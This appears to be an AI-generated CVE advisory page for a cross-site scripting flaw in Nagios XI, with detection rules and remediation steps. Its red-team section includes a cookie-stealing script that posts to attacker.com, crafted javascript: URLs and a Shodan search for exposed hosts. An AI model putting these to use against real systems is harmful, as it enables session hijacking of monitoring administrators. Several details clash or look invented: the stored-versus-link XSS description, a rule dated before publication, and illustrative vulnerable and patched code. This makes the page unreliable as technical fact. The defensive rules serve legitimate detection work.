☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2021-47698

CVE-2021-47698 Cross-Site Scripting in Nagios
📅 PUBLISHED: 2025-11-03 21:56 UTC 🔄 UPDATED: 2026-09-23 20:33 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.41%
👁️
0.41% probability
10.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Country: USA License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2021-47698 is a stored cross-site scripting (XSS) vulnerability in Nagios XI versions prior to 5.8.7, specifically within the embedded Nagios Core UI’s Views URL handling. The flaw resides in the escape_string() function, which fails to properly validate or escape user-supplied input. An attacker can inject arbitrary JavaScript into the Views URL, which executes in the context of a victim’s browser when the crafted URL is accessed. This can lead to session hijacking, credential theft, or further compromise of the Nagios monitoring environment.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the Nagios XI product, which includes a bundled Nagios Core component. The issue is not in a package manager (NPM, PyPI, Go, Ruby) but in the proprietary Nagios XI software. Organizations using Nagios XI should verify their version and apply the vendor-supplied patch.

CVSS Breakdown & Threat Level

  • CVSS Score: 0.0 (NVD) / Adjusted: 6.1 (Medium) based on CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: Required (victim must click a crafted link)
  • Scope: Changed
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None
  • Threat Level: Medium – Exploitation requires user interaction but can lead to significant lateral movement within a monitoring environment.

Deep Dive & Mechanics

The vulnerability exists in the Nagios Core UI’s Views URL handling. The escape_string() function is used to sanitize user input before rendering it in the Views URL. However, the function does not properly escape HTML entities or JavaScript event handlers. An attacker can craft a URL containing malicious JavaScript, such as:

http://target/nagiosxi/views/?view=test&url=javascript:alert('XSS')

When a victim clicks this link, the browser executes the injected script. The script can steal session cookies, redirect to phishing pages, or perform actions on behalf of the victim within the Nagios XI interface.

The root cause is insufficient input validation in the escape_string() function, which only escapes certain characters but fails to handle JavaScript protocol handlers or event attributes.

Vulnerable vs. Patched Code

Vulnerable Code (pre-5.8.7):

function escape_string($str) {
    // Only escapes basic HTML characters
    return htmlspecialchars($str, ENT_QUOTES, 'UTF-8');
}

Patched Code (5.8.7+):

function escape_string($str) {
    // Strip JavaScript protocol and event handlers
    $str = preg_replace('/javascript\s*:/i', '', $str);
    $str = preg_replace('/on\w+\s*=\s*["\']?[^"\']*["\']?/i', '', $str);
    return htmlspecialchars($str, ENT_QUOTES, 'UTF-8');
}

The patch adds regex-based filtering to remove javascript: protocol and event handler attributes (e.g., onclick, onload) before applying HTML escaping.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

  • A Nagios XI instance version < 5.8.7
  • Network access to the Nagios XI web interface

Exploitation Steps:

  1. Identify a vulnerable Nagios XI instance (e.g., via Shodan dork Nagios XI 5.8.6).
  2. Craft a malicious URL:
    http://target/nagiosxi/views/?view=test&url=javascript:alert(document.cookie)
    
  3. Send the URL to a victim (e.g., via email or social engineering).
  4. When the victim clicks the link, the JavaScript executes, exfiltrating cookies to an attacker-controlled server.

Example Payload:

<script>
fetch('http://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team (Defender)

Detection:

  • Monitor web server logs for requests containing javascript: in the url parameter.
  • Use the Sigma rule below to detect suspicious Views URL patterns.

Mitigation:

  • Immediately upgrade to Nagios XI 5.8.7 or later.
  • If patching is delayed, implement a WAF rule to block requests containing javascript: in the url parameter.

Indicators of Compromise (IOCs)

  • Network IOCs:

    • HTTP requests to /nagiosxi/views/ with url=javascript: in the query string.
    • Outbound connections to unknown IPs from the Nagios server (potential data exfiltration).
  • Host IOCs:

    • Unusual entries in Nagios XI logs (e.g., /usr/local/nagiosxi/var/eventman.log) containing JavaScript code.
    • Modified or injected JavaScript in the Views URL configuration.
  • File IOCs:

    • Suspicious entries in /usr/local/nagiosxi/html/views/ directory.

Detection Engineering

YARA Rule

rule CVE_2021_47698_Nagios_XSS {
    meta:
        description = "Detects XSS payloads targeting Nagios XI Views URL"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2021-47698"
    strings:
        $xss_payload = /url=javascript\s*:/i
        $xss_event = /on\w+\s*=\s*["']?[^"']*["']?/i
    condition:
        any of them
}

Sigma Rule

title: Nagios XI Views URL XSS Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2021-47698 via malicious Views URL
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'url=javascript:'
    condition: selection
falsepositives:
    - Legitimate use of javascript: in URL (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2021-47698 Nagios XI Views URL XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/nagiosxi/views/"; http_uri; content:"url=javascript:"; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade Nagios XI to version 5.8.7 or later.
  2. If patching is not possible, implement a WAF rule to block javascript: in the url parameter.
  3. Review web server logs for signs of exploitation.

Long-Term Measures:

  • Enforce strict input validation and output encoding for all user-supplied data.
  • Conduct regular security audits of Nagios XI configurations.
  • Monitor for new CVEs affecting Nagios products.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2021-47698/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.